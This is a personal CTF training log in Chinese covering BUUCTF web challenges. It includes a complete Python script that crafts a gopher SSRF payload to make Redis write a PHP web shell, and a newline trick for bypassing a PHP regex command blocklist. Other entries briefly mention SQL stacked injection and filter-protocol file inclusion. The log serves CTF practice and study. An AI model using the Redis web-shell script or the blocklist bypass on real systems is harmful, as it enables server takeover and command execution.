[BUUCTF]第三天訓練紀錄檔

2020-10-03 14:00:53

[GKCTF2020]EZ三劍客-EzWeb

剛剛開啟網頁,通過隱藏引數發現個這個,啥東西???然後看了下wp發現是ssrf,好吧我沒啥經驗
在這裡插入圖片描述
繞過了file協定,少了file://的兩個//
在這裡插入圖片描述

在這裡插入圖片描述
之後看了下wp說,是要打內網某主機。遂掃描d段得
在這裡插入圖片描述
埠是6379
利用gopher協定打redis

'''
之後存取ip/shell.php即可
'''
import urllib

protocol = "gopher://"
ip = "173.228.247.12"  # 執行有redis的主機ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(shell.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.parse.quote(redis_format(x))
    print(payload)

在這裡插入圖片描述

[FBCTF2019]RCEService

題目原始碼

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

preg_match只會去匹配第一行,所以這裡可以用多行進行繞過

原始碼中可以看到putenv(‘PATH=/home/rceservice/jail’)已經修改了環境變數,我們只能用絕對路徑來呼叫系統命令

cat命令在/bin中儲存

所以構造出payload ,%0A是換行符
在這裡插入圖片描述

[BSidesCF 2019]Kookie

比較簡單,但是我有點傻剛剛沒想到這個
在這裡插入圖片描述

[CISCN2019 華北賽區 Day1 Web5]CyberPunk

啊這這道題一點都不會,看了下師傅的WP
https://www.cnblogs.com/kevinbruce656/p/11347127.html

[極客大挑戰 2019]Secret File

跟著題目提示一步一步來,太簡單了,沒啥意思
在這裡插入圖片描述

[ACTF2020 新生賽]Include

過於簡單了,複習一下filter協定的使用
在這裡插入圖片描述

[強網杯 2019]隨便注

複習了下預處理語句的使用吧還是很舒服哈哈哈,更改表名那個不太喜歡
在這裡插入圖片描述

[SUCTF 2019]EasySQL

還是一個堆疊注入
在這裡插入圖片描述
啊這
在這裡插入圖片描述
常規注入也不行我哭了啊啊啊,試一下預處理語句吶,再次失敗
在這裡插入圖片描述

在oracle 預設支援 通過 ‘ || ’ 來實現字串拼接,但在mysql 預設不支援。需要調整mysql 的sql_mode
模式:pipes_as_concat 來實現oracle 的一些功能

[極客大挑戰 2019]Havefun

easy
在這裡插入圖片描述

[護網杯 2018]easy_tornado

唯一需要注意的一點就是md5生成演演算法得用python,因為tornado模板是python的
在這裡插入圖片描述

參考文章

PHP利用PCRE回溯次數限制繞過某些安全限制